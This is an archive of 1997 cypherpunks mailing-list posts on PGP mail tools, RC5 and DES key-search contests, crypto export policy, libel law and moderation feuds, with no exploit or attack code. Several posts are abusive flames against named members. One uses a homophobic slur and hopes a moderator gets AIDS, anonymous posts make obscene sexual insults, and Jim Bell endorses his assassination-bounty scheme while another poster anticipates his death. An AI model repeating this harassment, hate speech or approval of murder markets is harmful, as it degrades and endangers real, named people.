Message-ID: <79kB2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> 	David Aaron seems to make lying out of his ass a hobby.

Look who's talking - Sandy's boss!

Please see http://www.fileita.it/webitalia/netscum/parekhs0.html for some
important information regarding Sameer, privacy, and integrity.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 29 Jan 1997 17:18:05 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701300138.UAA11233@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 27 Jan 97 at 22:39, Alan Olsen wrote:

You wrote:

> I would like to see PGPMail support Pegusus Mail for the reason that I have
> used the crypto plug-in for Pegusus and found it inadiquate for general
> usage.

Same here. The PGP plug in was awful... (if it didn't find the key... 
and the key had to have the exact user-id you were mailing to) it 
sent it out in the clear. A serious bug.

> Pegusus's current crypto hooks do not deal well with remailers and multiple
> keys.  PGPMail does not deal with remailers as well as I would like, but it
> is far easier to use than the Pegusus solution.

Might be worth making suggestions to the Pegasus Mail team... now 
that PGPMail is out, they could 'modify' the plug-ins for Version 3.0 
(which I hear they are working on).  Since it's made in New Zealand, 
there's no ITAR/EAR problems.

As for remailers, once crypto is plugged in, a remailer plug-in with 
would work. (That's possibly an easy-enough hack too.)

An API for PGPMail you'd be a nice thing... then one can write apps 
to use it.

Rob


 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:12:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701292009.OAA02501@manifold.algebra.com>
Message-ID: <1eLB2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Hallam-Baker wrote:
> >
> >
> > I think that with the demise of Mr Bell and anyone running
> > a remailer there would be an end to his scheme pretty quickly.
> >
> > Society is not bound to put up with cranks and psychopaths.

And of course society needs leaders to determine exactly who the cranks and
the psychopaths are!

> > there is no right to anonymously call for murder. The authorities
> > could easily stop Bells scheme.
> >
> > The point I was making is that it is not consistent as claimed.
> >
>
> Why, death of Jim Bell from his own murder machine is a very exciting, I
> would say a very Kafkian thing to happen. I am looking forward to it. I
> even think that Jim Bell would not oppose such an outcome that much,
> since his assination bot would be such an important invention for the
> humanity. Maybe it will reverse the course of world history!

Igor, you keep misspelling "assassination" as in "talk.politics.assassination",
an unmoderated Usenet newsgroup carried by all honorable Usenet providers.

The word "assassin" actually comes from "hashish". In 1090's Ismaelites (a
Shi'ite sect) organized a terror group based in the castle of Alamut, north
of Kazwin in today's north Iran. They got funds from Iranian landowners.
Their sheikh (aka the old man of the mountain) sent suicidal fedain to kill
(assassinate) Seljuk officials and their Iranian merchant supporters.
Traditionally they got high on hashish when going on an assignment. In the
early 1100's assassins became active in Syria and Lebanon, where they
assassinated prominent Crusaders and local anti-Shi'ite landowners.

In 1256 Mongols led by Hulagu took Alamut and killed the assassins;
and in 1272 Egyptians killed off the Lebanese assassins. The Ismaelites
are still around (led by sheikh Aga Khan, a very rich guy).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Wed, 29 Jan 1997 20:47:06 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <01BC0E26.2EB9B5C0@king1-05.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	P.J. Westerhof

>Franconics...

Or Lesbonics of course,
.................................................................


le femme fatale

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Wed, 29 Jan 1997 20:53:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] E-Cash
Message-ID: <199701300432.UAA12335@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


When Timmy C[ocksucker] May's mother gave birth to him 
after fucking with a bunch of sailors, she didn't know who 
the father was but decided to tell him that he was a 
Russian as the Russian sailor was the one who satisfied her 
the most.

        /\_./o__ Timmy C[ocksucker] May
       (/^/(_^^'
      ._.(_.)_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:42:33 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701300442.UAA01122@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:20 AM 1/29/97 -0500, aga wrote:
>On Tue, 28 Jan 1997, jim bell wrote:

>> One obvious problem with the LACK of a criminal libel statute, from the 
>> standpoint of the "government-controlling-class," or "the bigshots," is 
that 
>> it's impossible to sue (and collect from) a (comparatively) poor person for 
>> defaming him...but it's still possible to put him in jail.  Civil libel is, 
>> therefore, essentially useless to a government agent as a means of keeping 
>> the masses in line.  
>> 
>> 
>> Myself, I believe that libel should be eliminated as a cause of action in 
>> civil cases as well as it has, de facto, in the criminal area.  If 
anything, 
>> the ability to sue for libel makes things worse:  There is an illusion that 
>> this is easy and straightforward, if not economical.  It is neither.  The 
>> result is that people are actually MORE likely to believe a printed 
>> falsehood because they incorrectly assume that if it wasn't true, it 
>> couldn't be printed.

>Interesting analysis here, but remember; libel is just one kind of
>"defamation" and an action for defamation will always be actionable.

Sure about that?!?

>The constitution gives us the right to call the President a
>motherfucker any time we want to,

yes...

>and it also gives the motherfucker
>the right to sue.

While admittedly it has been a long time since I've read the entire US 
Constitution, I am not under the impression that it does what you claim.  
Could you be more specific about the particular section which does this?


>  Sueing is better than fighting in the streets.

For the LAWYERS, who are paid regardless of the outcome, that certainly 
appears to be the case.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:43:26 -0800 (PST)
To: caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199701300442.UAA01150@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 1/28/97 -0800, stewarts@ix.netcom.com wrote:
>Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
>before the www.rsa.com contest status web page is updated?  :-)
>
>Or how long before someone in the government starts talking about
>how 56 bits takes 65,000 times as long to solve as 40 bits, 
>which is 26 years for a whole building full of computers,
>and even 48 bits ought to take a month and a half for a whole
>building full of computers (or supercomputers, if they hype it up....)?


This, as I pointed out long ago, is why I didn't think a "crack the DES key" 
contest is necessarily a good idea, at least if it's ordinary 
Von-Neumann-type computers doing the searching.  It makes DES look 
artificially good.

Assuming it's possible to build a chip which tests solutions in a 
massively-pipelined mode, the 400,000 or so solutions per second tried (for 
what is probably a $2000 machine) would probably increase to 100 million per 
second per chip (at a cost of maybe $100 per chip, if implemented in 
parallel).    That's 5000 times more economical,  which would translate to a 
find in 2-3 days if the same dollars in hardware were invested.

_THAT_ is the break we should hope the media publicizes, not the one that 
will eventually happen when accomplished by PCs or Suns, etc.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:42:45 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701300442.UAA01172@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:41 AM 1/29/97 -0800, Sean Roach wrote:
>At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>>Thats because its a whacko solution that has no credibility
>>or consistency. 
>>
>>If anyone tried to set up such a market and a price went out
>>on any of the heads of state fantasized about Mr Bell would be 
>>dead as a doornail in a week.
>>
>So you're saying that the system would work.  Mr. bell would be targeted, a
>price on his head, for starting that very system.  Mr. Bell would be a
>martyr, his system being proven by his own death.  It would be some varient
>of his idea that would be used to kill him, a bounty.

Exactly correct.   I will be killed by AP, my own invention. (however, I 
will be killed for merely DESCRIBING it, not only if I started the first 
instance of it.)   Before I'd published the first part of AP, I knew and 
accepted what was going to happen.  See AP part 7, at the end, quoted here:




"Awe, that a system could be produced by a handful of people that 
would rid the world of the scourge of war, nuclear weapons, governments, and 
taxes.  Astonishment, at my realization that once started, it would cover 
the entire globe inexorably, erasing dictatorships both fascistic and 
communistic, monarchies, and even so-called "democracies," which as a 
general rule today are really just the facade of government by the special 
interests.  Joy, that it would eliminate all war, and force the dismantling 
not only of all nuclear weapons, but also all militaries, making them not 
merely redundant but also considered universally dangerous, leaving their 
"owners" no choice but to dismantle them, and in fact no reason to KEEP them!"

"Terror, too, because this system may just change almost EVERYTHING how we 
think about our current society, and even more for myself personally, the 
knowledge that there may some day be a large body of wealthy people who are 
thrown off their current positions of control of the world's governments, 
and the very-real possibility that they may look for a "villain" to blame 
for their downfall.  They will find one, in me, and at that time they will 
have the money and (thanks to me, at least partially) the means to see their 
revenge.  But I would not have published this essay if I had been unwilling 
to accept the risk."



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:11:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: c2 internet accounts
In-Reply-To: <199701292231.OAA14183@toad.com>
Message-ID: <1LmB2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> Sandy Sandfort <sandfort@crl.com> writes:
>
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                           SANDY SANDFORT
> >  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> > C'punks,
> >
> > On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:
> >
> > > does c2net still offer internet accounts? I liked their
> > > offer for internet accounts with a 5 mb web site via
> > > telnet. does anyone else know of a place for cheap
> > > telnet only accounts?
> >
> > C2Net no longer offers new shell accounts and we are phasing out
> > pre-existing accounts.  We still offer virtual web hosting.
> >
> >
> >  S a n d y
> >
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >
> >
> >
>
> Check out Sameer's net.scum web page for some important information on C2.
>
> ---
>
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

The above article was highly crypto- and cypher-punks relevant and not
a flame.  Sandy Sandfort tossed it in the "flames" bucket because Sameer
is Sandy's employer. Sandy won't permit any criticism of his employer on
the censored list - an obvious conflict of interest. Sandy even refers
to C2Net as royal "we".

Recall also that Sandy Sandford published an ass-licking article about
Sameer in _Wired magazine without revealing that he works for Sameer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiseleo@juno.com (Leonid S Knyshov)
Date: Wed, 29 Jan 1997 21:45:02 -0800 (PST)
To: mjw@VNET.IBM.COM
Subject: Re: Altavista
In-Reply-To: <199701290655.WAA21750@toad.com>
Message-ID: <19970129.213741.8646.1.wiseleo@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Isn't it the future of internet advertising? I mean its just like Juno's
and other companies, the only ads shown to customers are those that are
relevant to their needs as submitted. Like do a search for web promotion
and you are gonna get ads of various services etc.

It is highly unlikely that detailed logs are kept since Alta-vista gets overwhelming number of hits. The way I go around all these ads is that I
use Internet Fast Find by symantec and I love it, I purchased it after
evaluating for 3 days. Sorry for commercial ;)

I think it is a good idea, no wonder doubleclick.net is one of the
leaders in advertising. You are shown only the ads that will potentially
interest you, search for shopping and you are gonna get one of those ISN
ads etc. 

I think it is a good idea FWIW.

I wouldn't think that a company such as doubleclick.net will do you any
harm.

One of my job assignments is Internet research and I search for such
variety of topics that those robots have no use on the information
submitted.

On the other hand, if I find my site on Altavista and go to it, in my referer_log I will see the entire search query and that is a valuable
marketing information, you learn about how the customer found you etc.

Well, this list isn't marketing101@anywhere.com so I am afraid I won't
bother with more thorough explation :)

I am sorry if you consider this an OFFtopic message but I am just
answering the question. 

On Wed, 29 Jan 97 01:03:35 EST mjw@VNET.IBM.COM writes:
>From:    Mark Waddington
>Subject: Altavista
>
>> However, the doubleclick.net ads appear to bear no relationship to 
>the
>> keywords being searched...
>
>Interestingly, I've just noticed over the last couple of days that the 
>in-line
>ads are directly relevant to the search words I enter. I did a search 
>yesterday
>on "Quicken" and "security" and all the in-line ads I was shown 
>referred to
>security or penetration detection products.
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Physician, Heal Thyself!
In-Reply-To: <199701292028.MAA10148@toad.com>
Message-ID: <5XmB2D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Wed, 29 Jan 1997, Sandy Sandfort wrote:
>
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                           SANDY SANDFORT
> >  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> > C'punks,
> >
> > On Wed, 29 Jan 1997, Anonymous wrote:
> >
> > > This is the stuff Sandy would presumably dump into
> > > his "not fit for True Cypherpunks" pile, except that he wrote it, and so
> > > is by definition approved.
> >
> > It was not approved for the moderated list.  I sent my comments to the
> > flames list where they belonged.  (It went to the unedited list too,
> > but that's fair game as well.)  Sorry you didn't understand that.
> >
> > > And I urge our Enlightened Leader to take his own medicine. Stop flaming
> > > the list and calling it mere commentary.
> >
> > So let me see if I've got this, this list should be open to all flamers
> > EXCEPT me?  Curious.  At any rate, I am going to take anonymous' advice.
> > I will largely refrain from addressing any of the garbage that ends up on
> > the flame and spam lists.  You guys are mostly just talking to yourselves
> > anyway.
>
> 	So how would you define a flame???  Seems more REASONABLE minds
> 	want to know????

Oksas, as you see your innocent question was classified as "flame" and
dumped into "cyperpunks-flames", as are most questions about the moderator's
abuse. Like many homosexuals, Sandy Sandford harbors a pathological hatred
of women and is always glad to shut one up. I hope he gets AIDS soon.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:10:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701280301.TAA14685@toad.com>
Message-ID: <sBNB2D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> The Cold War was not won by the arms race, it was won in
> Eastern Europe which was never a major participant. The main
> instrument that won it was West German TV which broadcast
> pictures of supermarkets with full shelves into the homes
> of East Germans every night. The viewers could see that it
> was not mere propaganda and their relatives confirmed the
> fact. As a result the East German guards on the Berlin wall
> simply decided to leave their posts one night.

Do a lot of Americans really believe such things?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 29 Jan 1997 21:46:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Politics of Export Restrictions
Message-ID: <3.0.1.32.19970129214455.00682db8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Is it possible the unreasonable crypto export restrictions are simply being
imposed at this time for the purpose of making Al Gore look good when he
runs for President in 2000?

In other words, his campaign could include promises to retract existing
crypto export restrictions established by his predecessor. The campaign
would be accompanied by slogans and rhetoric such as "export crypto, not
jobs" and the crypto/high-tech community would support Gore and the
Democratic party in droves.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 29 Jan 1997 21:50:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Passphrase security
Message-ID: <199701300550.VAA29338@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Deadwood Vilest K"arcinogen"OfTheMonth is so vile because rancid
semen is dripping from all of his orifices.

    ^ ^
   (o o) Deadwood Vilest K"arcinogen"OfTheMonth
    ( )
   \___/
    !_!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 20:42:50 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Fighting the cybercensor
In-Reply-To: <1eLB2D2w165w@bwalk.dm.com>
Message-ID: <199701300438.WAA07297@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> >
> > Why, death of Jim Bell from his own murder machine is a very exciting, I
> > would say a very Kafkian thing to happen. I am looking forward to it. I
> > even think that Jim Bell would not oppose such an outcome that much,
> > since his assination bot would be such an important invention for the
> > humanity. Maybe it will reverse the course of world history!
> 
> Igor, you keep misspelling "assassination" as in "talk.politics.assassination",
> an unmoderated Usenet newsgroup carried by all honorable Usenet providers.

No, I knew what was the correct spelling, but I like the shorter one
more. It sounds funny to me.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 19:46:25 -0800 (PST)
To: aaron@herringn.com
Subject: Re: News report RE:RSA Data Security Conference, pointer
In-Reply-To: <199701292345.PAA16450@toad.com>
Message-ID: <Pine.GSO.3.95.970129224337.9350A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't think CNET has any idea what they're talking about. Perhaps they
mean the Burns bill?

I was over at Burns' office yesterday, and Pro-CODE hasn't been
reintroduced yet -- they're looking for more co-sponsors -- so that's not
even correct.

*shrug*

I have a report on this at netlynews.com in the Afterword section, BTW.

-Declan

On Wed, 29 Jan 1997 aaron@herringn.com wrote:

> Report on RSA data security conference. Mentions 'Legislation in Congress
> could ban mandatory key storage', anyone know what they're referring to?
> 
> http://www.news.com/News/Item/0,4,7437,00.html
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 29 Jan 1997 19:46:09 -0800 (PST)
To: f_estema@alcor.concordia.ca
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291937.LAA08689@toad.com>
Message-ID: <Pine.SUN.3.95.970129224646.11083J-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997 f_estema@alcor.concordia.ca wrote:
[stuff]
> 
> Incidentally, I remind you of the results of the moot court that was held 
> at one of the CFP conferences, where a GAK case was tried in front of 
> real federal judges by real lawyers. Our side lost.
> 

Um.  Actually the real judges didn't render an opinion (in public) since
they might have to rule for real someday and would probably be conflicted
out if they had ruled on the merits in a mock trial.  The opinions were by
a shadow panel of law professors, and they disagreed, 2-1. 
==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 20:58:59 -0800 (PST)
To: devnull@manifold.algebra.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701300442.UAA01172@mail.pacifier.com>
Message-ID: <199701300453.WAA07422@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> Exactly correct.   I will be killed by AP, my own invention. (however, I 
> will be killed for merely DESCRIBING it, not only if I started the first 
> instance of it.)   Before I'd published the first part of AP, I knew and 
> accepted what was going to happen.  See AP part 7, at the end, quoted here:
> 

See, Phill, I was right.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 22:55:50 -0800 (PST)
To: Mike McNally <nowhere@erewhon.org>
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701300655.WAA17122@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 PM 1/28/97 -0600, Mike McNally wrote:
>Somebody wrote:
>> 
>> This morning at the RSA keynote, David Aaron, the US Crypto 
>> ambassador quoted the "Sovreign Right of Lawful Access" as
>> something that goverments were determined to preserve.
>
>Speaking as a private indiwidual, and not as a drone in the employ
>of IBM (don't get me started on the "but wait, key recovery *isn't*
>the same as key escrow" hoo-ha), that dude scared the piss out of
>me.


I think that terminology is odd. They're getting desperate.  "Soverign Right 
of Lawful Access" doesn't state HOW DIFFICULT that "access" is to be.  
Interpreted broadly, that would outlaw any encryption even if it only 
impeded that access a tiny bit!

Or under an alternative interpretation, the mere fact that it is 
hypothetically possible to decrypt a message means that nothing (other than 
mathematical improbability) stands in the way of doing the decrypt.


Also, it didn't say SECRET ACCESS, although experience tells us that they 
(the thugs) probably assume this.  I've long pointed out that ordinary 
search warrants require informing people who are being searched, even if 
they're not home and assuming the thugs didn't trash the place the way they 
frequently like to.  

I see no reason to believe that the advent of telephone technology in the 
late 1800's should have retroactively re-written the US Constitution to make 
secret searches okay.  Technically, the Bill of Rights prohibits 
"unreasonable searches and siezures," and doesn't specifically mention the 
secrecy issue, but since (am I correct in this, Real Lawyers <tm>?) the 
practice up until that time required people searched to be informed of 
searches, a change in policy that wiretaps could be secret sounds more like 
taking advantage of a technological windfall, not "discovering" that the 
Constitution allowed something that had always before been prohibited.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Wed, 29 Jan 1997 20:07:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES challenge status?
Message-ID: <199701300356.WAA01232@bushing.plastic.crosslink.net>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

What exactly is the status of RSA's DES contest?  I understand that at
least two of the smaller contests have already been cracked, but I
haven't seen much beyond theoretical discussion on the list on the
topic of the DES contest.

What work has been started on this contest?  I am aware of Peter
Trei's excellent deskr software for win32, but at the moment it chokes
on RSA's real contest data as distributed.  Has anybody yet worked on
porting a version to x86 Linux, with nice, fast, inline assembly?

How about a keyrange-server?  This contest is so huge that any procedural
innovations will probably be much more helpful than getting an early
start.  Has anybody started work on this yet, or is everyone else
waiting for someone else to do it?

- -- 
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing

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Version: 2.6.2

iQB1AwUBMvAb/LD5/Q37XXHFAQFxtQL/b7PeoWoO8gW0R35eOcA7yDmNOzg5IbIX
xbrWkX0D7Tnj+8BxeQkRs2lOhhB6D6V/oh7RO6zMUwbNVaPDng0vjZXEmHAUVPnL
XwSfekx47rgc43mVuXJoyval1zZuKDjE
=h76F
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Abelson <hal@hal.hpl.hp.com>
Date: Wed, 29 Jan 1997 23:09:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
In-Reply-To: <5cmmnm$45@life.ai.mit.edu>
Message-ID: <9701300709.AA06440@hal.hpl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Rick Osborne <osborne@gateway.grumman.com> writes:

   The only thing I didn't have that the next MIT applicant had was money.  I
   made the mistake of letting them know that I was dirt poor and would need
   full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
   Russian front!"

Just to set the record straight, MIT's admissions is need-blind.  Lots
of things go into our admissions decisions, but whether or not an
applicant needs financial aid is not one of them.  Admissions and
financial aid are handled out of separate offices, and the people
making the admissions decisions don't even see the financial aid
requests.

One exception: We are experimenting with the possibility of
considering the amount of aid needed in the case of a few
international applicants, but even here this is only a minor
consideration for a small number of applicants.  For domestic
applicants, financial aid plays no role at all in the admissions
decision.

-- Hal Abelson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Abelson <hal@hal.hpl.hp.com>
Date: Wed, 29 Jan 1997 23:09:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
In-Reply-To: <5cmmnm$45@life.ai.mit.edu>
Message-ID: <9701300709.AA06443@hal.hpl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Rick Osborne <osborne@gateway.grumman.com> writes:

   The only thing I didn't have that the next MIT applicant had was money.  I
   made the mistake of letting them know that I was dirt poor and would need
   full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
   Russian front!"

Just to set the record straight, MIT's admissions is need-blind.  Lots
of things go into our admissions decisions, but whether or not an
applicant needs financial aid is not one of them.  Admissions and
financial aid are handled out of separate offices, and the people
making the admissions decisions don't even see the financial aid
requests.

One exception: We are experimenting with the possibility of
considering the amount of aid needed in the case of a few
international applicants, but even here this is only a minor
consideration for a small number of applicants.  For domestic
applicants, financial aid plays no role at all in the admissions
decision.

-- Hal Abelson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <see.sig@for.address.real>
Date: Wed, 29 Jan 1997 23:00:54 -0800 (PST)
To: Ben Byer <root@bushing.plastic.crosslink.net>
Subject: Re: DES challenge status?
In-Reply-To: <199701300441.UAA22483@toad.com>
Message-ID: <32F04A93.59E2@for.address.real>
MIME-Version: 1.0
Content-Type: text/plain


Ben Byer wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> What exactly is the status of RSA's DES contest?  I understand that at
> least two of the smaller contests have already been cracked, but I
> haven't seen much beyond theoretical discussion on the list on the
> topic of the DES contest.
> 

	Two? The only publicized solution so far is the
RC5/32/12/5 solution from Ian Goldberg at Berkeley
(and independently from Germano Caronni at ETH Zürich).

	Are you saying that you know that the 48 bit RC5
contest is solved already, or are you just counting Ian's
and Germano's solutions separately?

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 29 Jan 1997 23:17:44 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: FBI=LIE
In-Reply-To: <199701291637.LAA07929@homeport.org>
Message-ID: <32F04AEB.12B7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack wrote:
> http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html
> Login cypherpunks, password cypherpunks.
> WASHINGTON -- For decades the FBI's reputation as a crime-fighting
> agency has rested heavily on its high-tech forensic laboratory, which
> could solve baffling crimes from a speck of blood, a sliver of paint
> or the thinnest filament of human hair.
>             But an investigation by the Justice Department's inspector
> general has put the FBI laboratory, and the way the agency has
> used it, under the glare of public scrutiny. The findings, which were
> turned over to FBI officials last week, are threatening to shatter the
> image of an agency on the cutting edge of scientific sleuthing.

The L.A. Times today (Wed) ran an article telling about three top
lab people working on the OKC bombing case, and how they were moved
or scuttled due to discrepancies.  This was a new development.

You'll note also that although Fujisaki (sp?) in the 2nd O.J. trial
did not permit it to be introduced (to my knowledge), there was
evidence that a high-up FBI lab person who testified in the first
trial falsified or seriously distorted certain facts to help the
prosecution.  This may yet be pursued like the Fuhrman thing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@ngi.nl>
Date: Wed, 29 Jan 1997 14:21:28 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <3.0.16.19970129225431.09bf60ba@popmail.rijnhaave.nl>
MIME-Version: 1.0
Content-Type: text/plain


At 20:06 27-01-97 -0500, Hettinga wrote:
>At 7:39 pm -0500 1/26/97, blanc wrote:
>>p.s.   I be femme
>        ^^^^^^^^^^
>
>Franconics...

Or Lesbonics of course,

Skol,
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
